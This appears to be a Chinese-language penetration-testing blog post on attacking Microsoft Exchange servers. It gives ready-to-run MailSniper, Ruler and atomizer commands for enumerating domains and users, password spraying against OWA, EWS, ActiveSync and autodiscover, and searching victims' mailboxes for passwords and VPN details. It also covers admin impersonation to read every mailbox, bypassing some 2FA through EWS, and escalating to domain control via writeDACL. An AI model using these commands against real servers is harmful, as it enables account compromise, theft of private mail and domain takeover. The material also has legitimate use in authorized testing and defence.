Exchange在渗透测试中的利用

0x00 Exchange简介

Windows Exchange Server,是国内外应用非常广泛的邮件服务器,是微软公司的一套电子邮件服务组件。 简单而言,Exchange server可以被用来构架应用于企业、学校的邮件系统。所以通常渗透测试过程中也会对其进行攻击尝试。

0x01 Exchange Endpoint

通常Exchange Server 有以下endpoint,即可访问的连接如下:

1
2
3
4
5
6
7
8
9
https://Exchangeserver/AutoDiscover/
https://Exchangeserver/Ecp/
https://Exchangeserver/EWS/
https://Exchangeserver/mapi/
https://Exchangeserver/Microsoft-Server-ActiveSync/
https://Exchangeserver/OAB/
https://Exchangeserver/OWA/
https://Exchangeserver/PowerShell/
https://Exchangeserver/Rpc/

每个endpoint的作用如下:

endpoint 说明
/autodiscover 自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。
/ecp “Exchange Control Panel” Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台
/ews “Exchange Web Services” Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互
/mapi Outlook连接Exchange的默认方式,在2013和2013之后开始使用,2010 sp2同样支持
/Microsoft-Server-ActiveSync 用于移动应用程序访问电子邮件
/OAB “Offline Address Book” 用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担
/owa “Outlook Web APP” Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等
/powershell 用于服务器管理的Exchange管理控制台
/RPC 早期的Outlook还使用称为Outlook Anywhere的RPC交互

以上endpoint中,常用于暴力破解的有/owa 、/ews、/Microsoft-Server-ActiveSync 及/autodiscover,如owa的暴力破解(passwordspray):
抓取登录包如下:

-w1118

用户名可尝试使用domain\username、domian.com\username、username

使用某密码进行暴力破解:

-w720

/Microsoft-Server-ActiveSync 爆破为401认证,需要对用户账号密码进行base64处理:

-w647

YWRtaW46YWRtaW4= -> admin:admin

/ews/rpc 等几个endpoint同样为401认证,账号密码的加密方式为NTLM Authenticate:

-w1264

爆破需对账号密码进行处理之后在进行。

0x02 Get UserList

验证Exchange

对Exchange的利用首先要确定其是否使用了exchange,关于判断的方式,我知道的方式有:
1、checkO365

-w682

2、owa 登录页面,如:

3、特殊域名:
访问如下域名

1
2
3
4
https://autodiscover.domain.com/autodiscover/autodiscover.xml
https://owa.domian/owa/
https://mail.domain.com/
https://webmail.domain.com/

获取用户列表

之后我们需要获取其至少一个账号的信息,那么就需要取搜集获取某域的用户列表,除了top username进行爆破,还可以使用theharvesterMailget等工具进行搜集,另外还有一种通过延时来判断的方式。在MailSniper 写了这样几种来判断内部域和存在用户的方法:

  • Invoke-DomainHarvest
  • Invoke-UsernameHarvestOWA
  • Invoke-UsernameHarvestEAS

首先来看Invoke-DomainHarvest,这里通过了几种方式来获取内部域名,构造参数如下:

1
Invoke-DomainHarvestOWA -ExchHostname domian.com

脚本会构造如下url:

1
2
3
4
$OWAURL = ("https://" + $ExchHostname + "/owa/auth.owa")
$OWAURL2 = ("https://" + $ExchHostname + "/owa/")
$autodiscoverurl = ("https://" + $ExchHostname + "/autodiscover/autodiscover.xml")
$ewsurl = ("https://" + $ExchHostname + "/EWS/Exchange.asmx")

在未指定brute的情况下,脚本会先请求autodiscoverurl,若失败,再请求ewsurl,并通过请求头里面的NTLM Authenticate数据来猜测内部域名,如:

-w1276

需要注意到是,未指定brute的时候需要更改-ExchHostname 为对应的autodiscoverurl及ewsurl

指定brute的情况下,则会使用通过时间延迟的方式来检测域名是否存在,首先会构造一些不存在的域及用户名请求owa,并记录其响应时间,之后使用构造的域字典及随机用户名来请求owa,根据其响应时间的不同来判断域及用户名,在这里有两种brute方式,第一种通过导入域名列表:

1
Invoke-DomainHarvestOWA -ExchHostname mail.domain.com -DomainList .\domainlist.txt -OutFile potentially-valid-domains.txt -brute

第二种通过公司名称来猜测:

1
Invoke-DomainHarvestOWA -ExchHostname mail.domain.com -CompanyName "bla bla" -OutFile potentially-valid-domains.txt -brute

获取域名之后,可导入用户名进行用户名存在检测:

1
2
Invoke-UsernameHarvestOWA -ExchHostname mail.domain.com -Domain domainname -UserList .\userlist.txt -Threads 1 -OutFile owa-valid-users.txt
Invoke-UsernameHarvestEAS -ExchHostname mail.domain.com -Domain domainname -UserList .\userlist.txt -Threads 1 -OutFile eas-valid-users.txt

PS : 作者说这个问题提交给微软以后并没有修复,但是实际测试效果并不好,但是没准碰到可以使用的情况也说不定。

当获取到一个用户的账号密码之后,可以通过Get-GlobalAddressList来获取GlobalAddress的用户邮箱地址:

1
Get-GlobalAddressList -ExchHostname owaurl -UserName username -Password password

-w1130

0x03 Brute Force

在这里暴力破解的地方有很多个,首先可以通过burpsuite对OWA进行暴力破解,另外就是/autodiscover/ews/Microsoft-Server-ActiveSync 等几个endpoint,可利用的工具如:MailSniperRulerSprayingToolkit,可根据个人喜好取舍。为了防止账号因多次登陆失败触发告警或账户被封禁,建议使用同密码爆破用户名的方式进行暴力破解。下面介绍一下MailSniper的相关方法的使用。

通过owa爆破:

1
2
Import-Module .\MailSniper.ps1
Invoke-PasswordSprayOWA -ExchHostname OWAHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose

-w960

通过ews爆破:

1
Invoke-PasswordSprayEWS -ExchHostname EWSHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose

-w964

通过Microsoft-Server-ActiveSync爆破:

1
Invoke-PasswordSprayEAS -ExchHostname MSAHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose

-w898

通过autodiscover 爆破:
在MailSniper中没有写对autodiscover的爆破,可以选择使用burp、ruler或者SprayingToolkit。

1
python atomizer.py owa autodiscoverhost password user.txt

-w747

1
./ruler --domain autodiscoverhost -k brute --users user.txt --passwords pass.txt --delay 0 --threads 10 -v

-w877

0x04 Search mail

在获取到某用户邮箱账号密码以后,我们可以对其邮件内容进行搜索,除了直接登录邮件外,也可以使用Exchange的接口进行邮件的检索,其接口的相关开发可以参考《Exchange Web Service(EWS)开发指南%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%97/)》,在外网情况下,可使用此工具来列出邮件内容。

1
./ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u username -p password -ewsPath https://ewshost/ews/Exchange.asmx -Mode ListMail -Folder Inbox

-w959

搜索某字符串:

1
./ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u username -p password -ewsPath https://ewhost/ews/Exchange.asmx -Mode SearchMail -String vpn

-w1439

或者使用MailSniper的Invoke-SelfSearch添加-remote 参数,输入账号密码即可。使用接口可以bypass一些owa的2FA

内网情况下可使用MailSniper来快速检索,如使用xiaoming\domain用户登录某主机,可在该主机上搜索xiaoming的邮箱(不需要密码)

1
Invoke-SelfSearch -Mailbox user@domain.com -Terms *pass* -Folder all -ExchangeVersion Exchange2013_SP1 -OutputCsv 1.csv

-w841

如果获得了域管理员的密码,可以检索任意邮件的内容:

1
Invoke-GlobalMailSearch -ImpersonationAccount beiguoxia -ExchHostname Exchangehostname -AdminUserName domain\administrator  -AdminPassword password -Term "*pass*" -Folder all

1547034512542.jpg

检索可使用-Term或者正则-Regex来指定关键字,-ImpersonationAccount用于将当前用户身份合法伪装其他邮箱用户,进而获得查询所有邮箱用户邮件的权限,如果查询失败,可以尝试添加-ExchangeVersion更换Exchange版本,目前支持版本为Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013,Exchange2013_SP1

0x05 后渗透

在获取一个用户的账号密码之后,如何进入内网?这里有一个神器Ruler,在Outlook中有一个Rules and Alerts的功能,利用此功能,可执行一些特定的如执行命令等操作,关于ruler的具体使用,可以参考相关文章,另外在内网中,如何去发现Exchange服务器,如何使用NTLM中继来接管某用户邮箱的权限,这些内容在《深入Exchange Server在网络渗透下的利用方法》中有了很详细的讲解,在这里就不多做阐述。

另外需要补充一点可能有用的东西,Exchange安装以后会创建一个Organization Management 安全组:

-w650

该组内的成员除了访问Exchagne设置外,可以修改其他Exchagne安全组的成员身份,如Exchange Trusted Subsystem,此组为Exchange Windows Permissions的成员

-w477

默认情况下,Exchange Windows Permissions安全组对安装Exchange的域的域对象具有writeDACL权限,这就意味着,我们可以进行权限的提升,详细的文章可以参考《Escalating privileges with ACLs in Active Directory》

0x06 总结

本文记录了我自己对Exchange在渗透中的利用的一些方式的总结,欢迎补充,更详细的内容可以查看参考的文章。

0x07 参考

  1. https://blog.riskivy.com/exchange-server-in-pentest/?from=timeline&isappinstalled=0
  2. https://www.blackhillsinfosec.com/password-spraying-outlook-web-access-how-to-gain-access-to-domain-credentials-without-being-on-a-targets-network-part-2/
  3. https://3gstudent.github.io/3gstudent.github.io/Exchange-Web-Service(EWS)%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%97/
  4. https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
------本文结束,感谢阅读------